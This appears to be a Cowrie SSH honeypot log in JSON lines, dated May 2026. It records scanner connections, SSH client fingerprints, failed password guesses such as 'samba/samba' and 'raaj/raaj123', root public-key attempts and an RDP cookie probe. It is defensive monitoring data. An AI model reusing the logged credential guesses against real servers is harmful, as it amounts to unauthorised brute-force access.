{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52004,"dst_ip":"159.203.135.109","dst_port":22,"session":"7231639fba5a","protocol":"ssh","message":"New connection: 83.168.110.85:52004 (159.203.135.109:22) [session: 7231639fba5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:05.241655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:05.252133Z","src_ip":"83.168.110.85","session":"7231639fba5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:05.374574Z","src_ip":"83.168.110.85","session":"7231639fba5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:05.742004Z","src_ip":"83.168.110.85","session":"7231639fba5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:06.916057Z","src_ip":"83.168.110.85","session":"7231639fba5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.132.197.140","src_port":50318,"dst_ip":"10.17.0.5","dst_port":22,"session":"52a8b52d9570","protocol":"ssh","message":"New connection: 91.132.197.140:50318 (10.17.0.5:22) [session: 52a8b52d9570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:09.642957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:09.648875Z","src_ip":"91.132.197.140","session":"52a8b52d9570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:09.749107Z","src_ip":"91.132.197.140","session":"52a8b52d9570","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:59:d5:55:3b:03:f1:b5:60:d7:93:fe:f0:3c:ad:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMMhZ/AoVPsd7JNl2cvypaAUdMqsq+rzMxq6FGMid6M2Gc40AQFVWmUeDdUhw+OR1S7rxuXfjBEZaA89ChzrYw2xV78ceNDPAcM5HSwNNCWdLolrv6pXFtb5kWoMNWjgLYemHnXV6XcJm23B6X/tBZ2AB8wdBZ+XflhKa0Ziw6ntstYkLfuAV9z2A+xFRaFunqBsm/FJRo8D97/oY8N1kNapbl6J6Dyu8aQVNDjWsZYc+a9HGTaZ8CrWnErgwvUtndvi8b0cWOirfBZW5+r60t696wASbQoV0bCPj1lafAHZoN+k0JnFobmOO+hykaM8QzZ7lB1T/q3t7qlbmqDAov","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:59:d5:55:3b:03:f1:b5:60:d7:93:fe:f0:3c:ad:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:10.224395Z","src_ip":"91.132.197.140","session":"52a8b52d9570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:59:d5:55:3b:03:f1:b5:60:d7:93:fe:f0:3c:ad:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMMhZ/AoVPsd7JNl2cvypaAUdMqsq+rzMxq6FGMid6M2Gc40AQFVWmUeDdUhw+OR1S7rxuXfjBEZaA89ChzrYw2xV78ceNDPAcM5HSwNNCWdLolrv6pXFtb5kWoMNWjgLYemHnXV6XcJm23B6X/tBZ2AB8wdBZ+XflhKa0Ziw6ntstYkLfuAV9z2A+xFRaFunqBsm/FJRo8D97/oY8N1kNapbl6J6Dyu8aQVNDjWsZYc+a9HGTaZ8CrWnErgwvUtndvi8b0cWOirfBZW5+r60t696wASbQoV0bCPj1lafAHZoN+k0JnFobmOO+hykaM8QzZ7lB1T/q3t7qlbmqDAov","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:10.228265Z","src_ip":"91.132.197.140","session":"52a8b52d9570","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:10:bd:30:ad:e3:7c:9f:78:c9:6b:dd:31:d4:40:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTMVVtY5hodT67GZeW/h90lP6VYwAYve83gbD5/GUHBkhpjTMS73rqVNCPhcu42VREZa5ibEq1bWeDM1vsMqnpHwlatmC5VfVkm45PfV9FbN2LUL+J+u5BEt93oo26YGFvtJq1z3amE2xqy3rQhrMVvsXME8ceKK5slpTA/m7Z2FQL7yKuxUkP21rbA+1gZsSi0RowEEaN3wfVC9bT0YE7YAPBNNp5Qdh8TIAiH/Hu6VLFB9vhsdehvNVme+0QOdwb+Q+YKBl7yRLrfp9v69aHKTX6I8Spsoi378IcRJb3L8l3J45eunZ4wtAuPP9ozfzf40njz0SVz/HDkQhO1FGxBm8q7MVRxqjGOhVRKvIZHFNBwrp67o2w7nzxgrvtayeFqBu4mChGGOAbHtXnbRNT8alB75/xPq741WkaEube2pn6TacC2DAfkCu3gUsTPn+jHzskypcKkXPKl0yhhH+PMzwtE/fJtMb1424pJQ/dvzCgTjaQEWvT/POIrN552b8jS8UM5UJrZQXKcdoknZtym9mT5D3Q49YM4rd4UPYEP6pjLeOO3Zyj3LIn4mY/ObraULuu93LkyL0cfTtf0FcnNMKdi/V9b9QqOc7LpN8cbgeuKfMZ1gwM6FNp4XyCs7VfE9hk7x/uwm6itXtkPtO3aaIXTVsJRA8HR21bUCJ3Hw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:10:bd:30:ad:e3:7c:9f:78:c9:6b:dd:31:d4:40:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:10.328471Z","src_ip":"91.132.197.140","session":"52a8b52d9570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:10:bd:30:ad:e3:7c:9f:78:c9:6b:dd:31:d4:40:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTMVVtY5hodT67GZeW/h90lP6VYwAYve83gbD5/GUHBkhpjTMS73rqVNCPhcu42VREZa5ibEq1bWeDM1vsMqnpHwlatmC5VfVkm45PfV9FbN2LUL+J+u5BEt93oo26YGFvtJq1z3amE2xqy3rQhrMVvsXME8ceKK5slpTA/m7Z2FQL7yKuxUkP21rbA+1gZsSi0RowEEaN3wfVC9bT0YE7YAPBNNp5Qdh8TIAiH/Hu6VLFB9vhsdehvNVme+0QOdwb+Q+YKBl7yRLrfp9v69aHKTX6I8Spsoi378IcRJb3L8l3J45eunZ4wtAuPP9ozfzf40njz0SVz/HDkQhO1FGxBm8q7MVRxqjGOhVRKvIZHFNBwrp67o2w7nzxgrvtayeFqBu4mChGGOAbHtXnbRNT8alB75/xPq741WkaEube2pn6TacC2DAfkCu3gUsTPn+jHzskypcKkXPKl0yhhH+PMzwtE/fJtMb1424pJQ/dvzCgTjaQEWvT/POIrN552b8jS8UM5UJrZQXKcdoknZtym9mT5D3Q49YM4rd4UPYEP6pjLeOO3Zyj3LIn4mY/ObraULuu93LkyL0cfTtf0FcnNMKdi/V9b9QqOc7LpN8cbgeuKfMZ1gwM6FNp4XyCs7VfE9hk7x/uwm6itXtkPtO3aaIXTVsJRA8HR21bUCJ3Hw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:10.332959Z","src_ip":"91.132.197.140","session":"52a8b52d9570","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:1b:4b:b0:60:7f:43:07:15:15:1c:b3:29:0f:d9:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuJpVfisp8TaUtrIqXl+d2Cndl3ghKoP0b2PvjiBoMfdpwJVSZ0fb5FNgtL/LXO9Ee+HYGUA3wSVwQqp21Twaw93loNEa0t0v6R11qext+8JtaS6oaMzw/iWBuDo6CKiF7oKBhRRWJ3IBd3iHqwNKJU8iiG0efIFqeJmlaY9N0HqNE4ettVMfuG/Nkiv4fAP5ApH1BK5wp1XZsT1paeYkGyFxtZQd7eKkNky51FfYuna3LkwXvK1+zvjt/ntYpZBe2mnRsHhwiJAvqaeGTq9edf3GEcIeBjRVvqT4U0ZmtlhVeAm10BQ/bHsjypnUCZ8jGy+XsDEVd87nzzPkuGoAZkj+CosVXA8+QHahf6AvtoBawoYKo+kB1hIVl0Z3pZ1fDIkAjwupbYATF6KcMwAzo+VUNOtFTG5as33argTz3ybb+XbkaT5aM5wBeq7WD2YH6jr1BJIkLs2RIFaauLPKwm0uhxAd+tZ3mWe/O3/WrU3dbTVFOxKwKcLMuVMJxlB/tNGOFJTglNDZ/JklJWwSbm+yVJYAAOAm79QfiwTX+A5ZMrDMnWTVxzPrYYPfA3GPA8BpJZThTy+36EWPSn3cD8cfmRPvP9KlC1EIqQg4AuvqSAtT+QHuN1wpHaU+oKAazNFIsgNcRF/yxhYNhnGflaeah5sPRxgYf/EB41T11KQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:1b:4b:b0:60:7f:43:07:15:15:1c:b3:29:0f:d9:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:10.438470Z","src_ip":"91.132.197.140","session":"52a8b52d9570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:1b:4b:b0:60:7f:43:07:15:15:1c:b3:29:0f:d9:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuJpVfisp8TaUtrIqXl+d2Cndl3ghKoP0b2PvjiBoMfdpwJVSZ0fb5FNgtL/LXO9Ee+HYGUA3wSVwQqp21Twaw93loNEa0t0v6R11qext+8JtaS6oaMzw/iWBuDo6CKiF7oKBhRRWJ3IBd3iHqwNKJU8iiG0efIFqeJmlaY9N0HqNE4ettVMfuG/Nkiv4fAP5ApH1BK5wp1XZsT1paeYkGyFxtZQd7eKkNky51FfYuna3LkwXvK1+zvjt/ntYpZBe2mnRsHhwiJAvqaeGTq9edf3GEcIeBjRVvqT4U0ZmtlhVeAm10BQ/bHsjypnUCZ8jGy+XsDEVd87nzzPkuGoAZkj+CosVXA8+QHahf6AvtoBawoYKo+kB1hIVl0Z3pZ1fDIkAjwupbYATF6KcMwAzo+VUNOtFTG5as33argTz3ybb+XbkaT5aM5wBeq7WD2YH6jr1BJIkLs2RIFaauLPKwm0uhxAd+tZ3mWe/O3/WrU3dbTVFOxKwKcLMuVMJxlB/tNGOFJTglNDZ/JklJWwSbm+yVJYAAOAm79QfiwTX+A5ZMrDMnWTVxzPrYYPfA3GPA8BpJZThTy+36EWPSn3cD8cfmRPvP9KlC1EIqQg4AuvqSAtT+QHuN1wpHaU+oKAazNFIsgNcRF/yxhYNhnGflaeah5sPRxgYf/EB41T11KQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:10.442774Z","src_ip":"91.132.197.140","session":"52a8b52d9570","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:ad:ec:0b:17:63:c2:81:85:a6:e8:4c:aa:ac:cf:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLr6t9SLdHJ3ytS3zTSePEzQKSrXIE0iBFX0/n4atwY7t70QeKH5Ur9CYtsCWloJ1Rg20ot7RPVLzC1Lq5yo0stbQL+wXgEFz+JT6Y/CSkyfGjdtYhQQ3OuT32aQNCMSNHi+b9tE1skxA5lmcY561dcc7xXsG+aiUcbnWD2RUP9p0SCVTuzbVmwffGJACLCHXe8vCIwprOKvPeN87ERSiv1QuZJYmUg70lGSRLZGWa4colOy201LZseKRGA3yP0EtKCYUQ5Xa/HvSzMxfKaMXzbvmwQTumdx+CHt8Bh0eF7Ad+Sspqi/I/mZlWbkZDd1yr18IZQeQjg2N8bwd81d9R4uE75Yric1dwTYA6SmjYPCqPjxxfBOSeZIbiLDPLxMRZwH4Z/flRJJpoHEioa2YODOjOoqPxoHN3O1AOFfY1Fw0JwImR1kDmrSzmU1VFxAEZlwtwWL3Kpnry6ndEjusErKmddECmeYvzpg8MqSdzOuhcKZli1tKd3iZUwG0sVlEM3tGejtCNs1e7dURkzkFbcMnXNghuWIxN6XwUE6zUXuP5Xy4MCTX6Ay8yt8jF4freRqaVskZZ72KWk3a+MVyHb7mv/5MgD/qF3EaKNSerQGogM0mgcyN20oVaQc8PuGv9M7mI3UtoWuQXPwPUgrCvF+6pCnlhb7Zh0klUpZoq1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:ad:ec:0b:17:63:c2:81:85:a6:e8:4c:aa:ac:cf:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:10.544317Z","src_ip":"91.132.197.140","session":"52a8b52d9570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:ad:ec:0b:17:63:c2:81:85:a6:e8:4c:aa:ac:cf:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLr6t9SLdHJ3ytS3zTSePEzQKSrXIE0iBFX0/n4atwY7t70QeKH5Ur9CYtsCWloJ1Rg20ot7RPVLzC1Lq5yo0stbQL+wXgEFz+JT6Y/CSkyfGjdtYhQQ3OuT32aQNCMSNHi+b9tE1skxA5lmcY561dcc7xXsG+aiUcbnWD2RUP9p0SCVTuzbVmwffGJACLCHXe8vCIwprOKvPeN87ERSiv1QuZJYmUg70lGSRLZGWa4colOy201LZseKRGA3yP0EtKCYUQ5Xa/HvSzMxfKaMXzbvmwQTumdx+CHt8Bh0eF7Ad+Sspqi/I/mZlWbkZDd1yr18IZQeQjg2N8bwd81d9R4uE75Yric1dwTYA6SmjYPCqPjxxfBOSeZIbiLDPLxMRZwH4Z/flRJJpoHEioa2YODOjOoqPxoHN3O1AOFfY1Fw0JwImR1kDmrSzmU1VFxAEZlwtwWL3Kpnry6ndEjusErKmddECmeYvzpg8MqSdzOuhcKZli1tKd3iZUwG0sVlEM3tGejtCNs1e7dURkzkFbcMnXNghuWIxN6XwUE6zUXuP5Xy4MCTX6Ay8yt8jF4freRqaVskZZ72KWk3a+MVyHb7mv/5MgD/qF3EaKNSerQGogM0mgcyN20oVaQc8PuGv9M7mI3UtoWuQXPwPUgrCvF+6pCnlhb7Zh0klUpZoq1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:10.548677Z","src_ip":"91.132.197.140","session":"52a8b52d9570","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:10:e1:ef:5f:e0:61:d2:f6:68:08:4f:b7:07:de:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi9Me3fMvb/z7jQAvAgq9lp0wPS4yVIbvV7ZV30gb2wm/nsndPayxJP+lB6FtBimPCWjqsXlWa/YmwuqJc8Y3i/YzVLIThDxmgAAPPEoqexghn4sdfsN7yl2LMnXqzg27e9ECeitDbvCVa6zF3PKTzUWyQoMsKiWjtS5J7m2orBX2EmxvDK96B2RD89TBafwWfa3SxsuEIVKgvbBHbbDgaXt+p5IZS84kDls+U18U7jMclZn0EowIzQv2YKk6ykfACDH7UwEaD6pnR7z7rWoGERm+qXXeUaDnsYAQ2HH1QwC9xK2ZeA0MjR2bRc1I+S4Tn3MGVsCh/HzXHTADQEi4l/oSWHqpoMd20NI04wZ0KjtMBSVC5MQ4qDDkveYn6fiqkcCv8CSyTxbvHR1WOve0hJB/4K0hqT7x8S1Woeu/qZnbvp7+vVvmhU9b/3KIWClO5jBBjnhGVKVao2wVT11BHApJpnDOcqlW4KiW/ZkdvbBGzRt3W0GPx8y5gUvcbNDjP8T7AAankJSexLVbQek53DsODgQx44hKd5D9/1oranaIvc/5WcI6nT8y5qmRbZO+d1pjwf196AhGOyZ/erVNRJ1/svqZLSWVQho28FaaQSsi2r7ciFAvQ+AKJzwlOVGNyD8fcNjROqh5PQPbtzTnK7EKj9pdETKN6kCPBLIcAow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:10:e1:ef:5f:e0:61:d2:f6:68:08:4f:b7:07:de:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:10.650292Z","src_ip":"91.132.197.140","session":"52a8b52d9570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:10:e1:ef:5f:e0:61:d2:f6:68:08:4f:b7:07:de:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi9Me3fMvb/z7jQAvAgq9lp0wPS4yVIbvV7ZV30gb2wm/nsndPayxJP+lB6FtBimPCWjqsXlWa/YmwuqJc8Y3i/YzVLIThDxmgAAPPEoqexghn4sdfsN7yl2LMnXqzg27e9ECeitDbvCVa6zF3PKTzUWyQoMsKiWjtS5J7m2orBX2EmxvDK96B2RD89TBafwWfa3SxsuEIVKgvbBHbbDgaXt+p5IZS84kDls+U18U7jMclZn0EowIzQv2YKk6ykfACDH7UwEaD6pnR7z7rWoGERm+qXXeUaDnsYAQ2HH1QwC9xK2ZeA0MjR2bRc1I+S4Tn3MGVsCh/HzXHTADQEi4l/oSWHqpoMd20NI04wZ0KjtMBSVC5MQ4qDDkveYn6fiqkcCv8CSyTxbvHR1WOve0hJB/4K0hqT7x8S1Woeu/qZnbvp7+vVvmhU9b/3KIWClO5jBBjnhGVKVao2wVT11BHApJpnDOcqlW4KiW/ZkdvbBGzRt3W0GPx8y5gUvcbNDjP8T7AAankJSexLVbQek53DsODgQx44hKd5D9/1oranaIvc/5WcI6nT8y5qmRbZO+d1pjwf196AhGOyZ/erVNRJ1/svqZLSWVQho28FaaQSsi2r7ciFAvQ+AKJzwlOVGNyD8fcNjROqh5PQPbtzTnK7EKj9pdETKN6kCPBLIcAow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:10.655426Z","src_ip":"91.132.197.140","session":"52a8b52d9570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:10.757113Z","src_ip":"91.132.197.140","session":"52a8b52d9570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":51292,"dst_ip":"159.203.135.109","dst_port":22,"session":"1228874d530b","protocol":"ssh","message":"New connection: 193.32.162.151:51292 (159.203.135.109:22) [session: 1228874d530b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:15.046080Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:15.152979Z","src_ip":"193.32.162.151","session":"1228874d530b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54764,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6e47a38de8f","protocol":"ssh","message":"New connection: 83.168.110.85:54764 (159.203.135.109:22) [session: e6e47a38de8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:15.896676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:15.905671Z","src_ip":"83.168.110.85","session":"e6e47a38de8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:16.026819Z","src_ip":"83.168.110.85","session":"e6e47a38de8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:16.396315Z","src_ip":"83.168.110.85","session":"e6e47a38de8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:17.547146Z","src_ip":"83.168.110.85","session":"e6e47a38de8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59698,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c237f439b37","protocol":"ssh","message":"New connection: 152.42.212.128:59698 (159.203.135.109:22) [session: 0c237f439b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:24.754612Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:24.759496Z","src_ip":"152.42.212.128","session":"0c237f439b37","protocol":"ssh"}
